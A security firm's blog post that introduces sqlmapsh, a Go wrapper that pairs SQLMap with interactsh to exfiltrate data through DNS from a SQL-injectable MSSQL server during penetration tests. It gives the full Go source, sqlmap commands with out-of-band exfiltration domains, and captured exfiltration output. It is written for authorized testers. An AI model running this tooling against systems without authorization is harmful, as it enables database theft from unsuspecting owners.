logo-unlock-security

SQLMap.sh – DNS Exfiltration made easy

SQLMap.sh – DNS Exfiltration made easy

SQLMap.sh is the new open-source project by Unlock Security that allows using Interact.sh to automate the DNS data exfiltration process through SQLMap.

Setting

Let's now imagine that we have been hired to perform a penetration test and that we have found an SQL injection that allows us to interact with the database. In particular, we have the possibility to run stacked queries with elevated privileges on MSSQL, which means just one thing, in this specific case — Remote Code Execution!

Now that the vulnerability is uncovered, we can launch our first commands to interact with the database — and this is enough to realize that finding a time-based blind SQL injection is something that you would not wish on your worst enemy. The response time is slow and the web server crashes over and over again, so the output reading becomes challenging and tests our patience.

Despite everything, we decide to make the remote server download a binary to get a reverse shell. We soon realize, however, that the server itself does not allow HTTP requests. Even so, we find out that DNS requests are admitted. So, we should be able to perform some DNS data exfiltration techniques.

DNS exfiltration

To step into action, we decide to improve the response time by exfiltrating the data through the DNS, using SQLMap with the --dns-domain flag.

Our aim is to make the machine execute the following actions:

  1. SQLMap starts a local DNS server listening for incoming requests on port 53.
  2. Through the detected SQL injection, it runs an SQL query to collect some data, e.g. the password of the admin user (e.g. Password123). It then concatenates the data, treating them like a subdomain of the domain controlled by the attacker (e.g. attacker.com, pointing to the attacker's machine), resulting in Password123.attacker.com. It builds the SQL query to make the DBMS run a DNS query for Password123.attacker.com.
  3. The SQLMap DNS server receives the request and extracts the data "Password123".
Diagram of a DNS exfiltration attack

The problem

So far so good. But what if the attacker's machine were working on a NAT network and could not expose the port 53 of the SQLMap DNS? And what if the attacker didn't purchase a domain pointing to their computer? And even if the attacker had a machine online and owned a domain, what if the agreement signed by the client did not include the IP of that machine? And what if the attacker could not install a VPN on that machine, and that VPN were necessary to run the penetration test?

Reasonable doubts, that make us realize that our attack based on the DNS data exfiltration could not succeed as easily as we thought. We then must find a solution that fits every circumstance and allows us to carry out the attack.

The solution

Searching the web, we find out that such a solution is kindly provided as an extension for Burp Suite from SqlmapDnsCollaborator. It would allow us to use Burp Collaborator as a DNS server, without any further configuration.

The plugin code can be summarized as follows:

  1. It launches a client for Burp Collaborator and states the domain that the user should enter in SQLMap.
  2. It polls the DNS every 0.5 seconds to check if it received any DNS requests.
  3. If so, it forwards them to the SQLMap local DNS server.

The plugin is great and works properly. However, you need a Burp Suite Pro license to use the collaborator. Also, you have to manually specify the domain on SQLMap, fetching it from the output on the plugin console.

To bypass the license problem, we can rely on interactsh-collaborator — an equivalent project that uses interactsh instead of Burp Collaborator, creating a client that works on the web version of interactsh.

This solution is quite effective as well, but still requires the use of Burp and is not a sufficient workaround for our laziness — manually adding even a single parameter to the command line in sqlmap is an unnecessary effort!

Our solution: sqlmapsh

Unlock Security’s solution results from the collaboration between two penetration testers — Francesco Marano e Francesco Mariani, who found themselves facing a situation similar to the one just described. They came up with a solution that does not involve purchasing any license, using additional software or doing manual configurations. That’s how sqlmapsh was created.

Interactsh client

First of all, Burp Collaborator needed a valid substitute. The best choice was InteractSH from ProjectDiscovery.io, no doubt on that.

The project is remarkable, but so far it lacks documentation on how to create a client, except for this code snippet that:

  1. launches an interactsh client and polls it every second
  2. generates an URL
  3. sends an HTTP request to that URL
  4. displays the result of the interaction with the interactsh server
package main

import (
	"fmt"
	"net/http"
	"time"

	"github.com/projectdiscovery/interactsh/pkg/client"
	"github.com/projectdiscovery/interactsh/pkg/server"
)

func main() {
	client, err := client.New(client.DefaultOptions)
	if err != nil {
		panic(err)
	}
	defer client.Close()

	client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
		fmt.Printf("Got Interaction: %v => %v\n", interaction.Protocol, interaction.FullId)
	})
	defer client.StopPolling()

	URL := client.URL()

	resp, err := http.Get("https://" + URL)
	if err != nil {
		panic(err)
	}
	resp.Body.Close()

	fmt.Printf("Got URL: %v => %v\n", URL, resp)
	time.Sleep(5 * time.Second)
}

Well, that’s something! Let’s now go through the creation of the sqlmapsh tool in detail.

SQLMapSH: the project, step by step

First, we create a new project in Golang:

$ mkdir sqlmapsh
$ cd sqlmapsh
$ go mod init github.com/unlock-security/sqlmapsh
go creating new go.md: module github.com/unlock-security/sqlmapsh

Part #1: the interactsh client

We create the main project file based on the snippet suggested in the interactsh repository:

main.go
package main import ( "fmt" "os" "os/signal" "syscall" "time" "github.com/projectdiscovery/interactsh/pkg/client" "github.com/projectdiscovery/interactsh/pkg/server" ) func main() { // Create InteractSH client client, err := client.New(client.DefaultOptions) if err != nil { panic(err) } defer client.Close() // Get the URL where to do DNS requests URL := client.URL() fmt.Printf("Got URL: %v\n", URL) // Poll the client every second and print the received DNS interactions client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) { if interaction.Protocol == "dns" { fmt.Printf("Got DNS interaction: %s\n", interaction.FullId) } }) defer client.StopPolling() // Wait for the user to quit the program by using ctrl+c done := make(chan os.Signal, 1) signal.Notify(done, syscall.SIGINT, syscall.SIGTERM) fmt.Println("Press ctrl+c to exit...") <-done }

We add any missing modules required by the imported packages. We then launch the program and use a browser to open the URL that is generated on screen:

$ go mod tidy
$ go run main.go
Got URL: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live
Press ctrl+c to exit...

Got DNS interaction: ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi

Great, now we have a working client! Let’s now try to launch SQLMap by specifying the client URL as the exfiltration domain:

# sqlmap shell
$ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live --banner
    
# sqlmapsh shell
Got DNS interaction: Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live

Soon we obtain a request on the domain Moh.0x3700330030003800.wVo.ceesu6pd4rcafn4dsaigiyfzh7x8hjgxi.oast.live. So, based on what we said before, the exfiltrated data are: Moh.0x3700330030003800.wVo.

To understand what this means, we can take a look at the source code of SQLMap:

lib/techniques/dns/test.py
#!/usr/bin/env python """ Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.exception import SqlmapNotVulnerableException from lib.techniques.dns.use import dnsUse def dnsTest(payload): logger.info("testing for data retrieval through DNS channel") randInt = randomInt() kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) if not kb.dnsTest: errMsg = "data retrieval through DNS channel failed" if not conf.forceDns: conf.dnsDomain = None errMsg += ". Turning off DNS exfiltration support" logger.error(errMsg) else: raise SqlmapNotVulnerableException(errMsg) else: infoMsg = "data retrieval through DNS channel was successful" logger.info(infoMsg)

Here we can see how SQLMap, before making the data exfiltration, tested the connection with the DNS by generating a random integer and transmitting it to the dnsUse function.

lib/techniques/dns/use.py
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ # ... if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): # ... while True: # ... prefix, suffix = ("%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) # ... expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) # ...

The function does nothing but randomly generate two strings — prefix and suffix — made of 3 characters. Then it builds an SQL query that makes the victim run a DNS query to prefix.random-number.suffix.dns-domain. After this, it waits for a DNS query on the local server and extracts the section prefix.stuff.suffix to check if the data arrived correctly.

Part #2: the DNS resolver

It is now clear that we must create a DNS resolver to forward the interactions obtained with interactsh to the SQLMap DNS server:

DNS resolver per inoltrare le interazioni ottenute da interactsh verso il DNS server di SQLMap
package main import ( "context" "fmt" "net" "os" "os/signal" "syscall" "time" "github.com/projectdiscovery/interactsh/pkg/client" "github.com/projectdiscovery/interactsh/pkg/server" ) func main() { dns_resolver := &net.Resolver{ PreferGo: true, Dial: func(ctx context.Context, network, address string) (net.Conn, error) { d := net.Dialer{ Timeout: 1 * time.Second, } return d.DialContext(ctx, network, "127.0.0.1:53") }, } // Create InteractSH client client, err := client.New(client.DefaultOptions) if err != nil { panic(err) } defer client.Close() // Get the URL where to do DNS requests URL := client.URL() fmt.Printf("Got URL: %v\n", URL) // Poll the client every second and print the received DNS interactions client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) { if interaction.Protocol == "dns" { fmt.Printf("Got DNS interaction: %s\n", interaction.FullId) dns_resolver.LookupHost(context.Background(), interaction.FullId) } }) defer client.StopPolling() // Wait for the user to quit the program by using ctrl+c done := make(chan os.Signal, 1) signal.Notify(done, syscall.SIGINT, syscall.SIGTERM) fmt.Println("Press ctrl+c to exit...") <-done }

Let’s make another test with SQLMap and try to exfiltrate the DBMS banner:

# sqlmap shell $ sudo sqlmap -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --dns-domain=ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live --banner # sqlmapsh shell $ go run main. Got URL: ceetv2hd4rcdl9inqju@fmu9fh14wfz7x.oast.me Press ctrl+c to exit... Got DNS interaction: kwX.0x3700330034003200.OwT.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: WUT.0x2000530065007200760065007200200032003000300038002000.Xul.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: Qxt.0x5200320020002800530050003200290020002d00200031003000.Ppm.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: Gom.0x2e00350030002e0034003000330033002e003000200028005800.llu.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: TsJ.0x36003400290020000a0009004a0075006c002000200039002000.jPP.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: ovz.0x290020002800480079007000650072007600690073006f007200.iPp.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x.oast.live Got DNS interaction: nYk.0x29000a00.ZjJ.ceetv2hd4rcdl9inqju0fmu9fh14wfz7x

Everything works as expected and SQLMap successfully exfiltrates the DBMS banner:

Microsoft SQL Server 2008 R2 (SP2) - 10.50.4033.0 (X64
Jul 9 2014 16:04:25
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor))

Part #3: the SQLMap wrapper

At this point, we have implemented the same logic of the aforementioned plugins for Burp, bypassing both the reliance on Burp and the license issue. Now we just have to launch sqlmapsh instead of sqlmap and see it do the job for us.

package main

import (
	"context"
	"net"
	"os"
	"os/exec"
	"time"

	"github.com/projectdiscovery/interactsh/pkg/client"
	"github.com/projectdiscovery/interactsh/pkg/server"
)

func main() {
    dns_resolver := &net.Resolver{
        PreferGo: true,
        Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
            d := net.Dialer{
                Timeout: 1 * time.Second,
            }
            return d.DialContext(ctx, network, "127.0.0.1:53")
        },
    }

	// Create InteractSH client
	client, err := client.New(client.DefaultOptions)
	if err != nil {
		panic(err)
	}
	defer client.Close()

    // Get the URL where to do DNS requests
	URL := client.URL()
    
	// Poll the client every second and print the received DNS interactions
	client.StartPolling(time.Duration(1*time.Second), func(interaction *server.Interaction) {
		if interaction.Protocol == "dns" {
			dns_resolver.LookupHost(context.Background(), interaction.FullId)
		}
	})
	defer client.StopPolling()

	// Start SQLMap adding the correct "--dns-domain" parameter
    os.Args[0] = "--dns-domain=" + URL
	sqlmapCmd := exec.Command("sqlmap", os.Args...)
	sqlmapCmd.Env = os.Environ()
	sqlmapCmd.Stdin = os.Stdin
	sqlmapCmd.Stdout = os.Stdout
	sqlmapCmd.Stderr = os.Stderr
	sqlmapCmd.Run()
}

Now we can make the project build with go build and get the sqlmapsh binary, to use it instead of sqlmap every time that we want to make DNS exfiltration. In this case, the command would be:

$ sudo sqlmapsh -r "$(pwd)/sqli.txt" --dbms=mssql --drop-set-cookie --answers=marker=Y,redirect=N,continue=Y --code=302 --level=5 --risk=3 --technique=B --banner
Execution of sqlmapsh for the total automation of the DNS exfiltration process via SQLMap

Conclusions

Though the project is quite simple and we already have plugins for Burp Suite that grant the same result, we believe that, when it comes to hacking, we should not feel bound to a specific tool or give up in front of the cost of a license, unless strictly necessary. For this reason, we decided to publish the sqlmapsh code on GitHub and disclose it to the whole community, hoping that it will arise the common interest and inspire new projects.

Francesco Marano
Francesco Marano
Founder | Cyber Security Consultant
www.unlock-security.it

I'm an offensive cyber security expert with several years of experience as penetration tester and team leader.I love making software do things other than what they were designed to do!I do security research to find new bugs and new ways to get access to IT assets. I'm a speaker at events talking about my research to share my findings and improve the awareness about cyber security issues.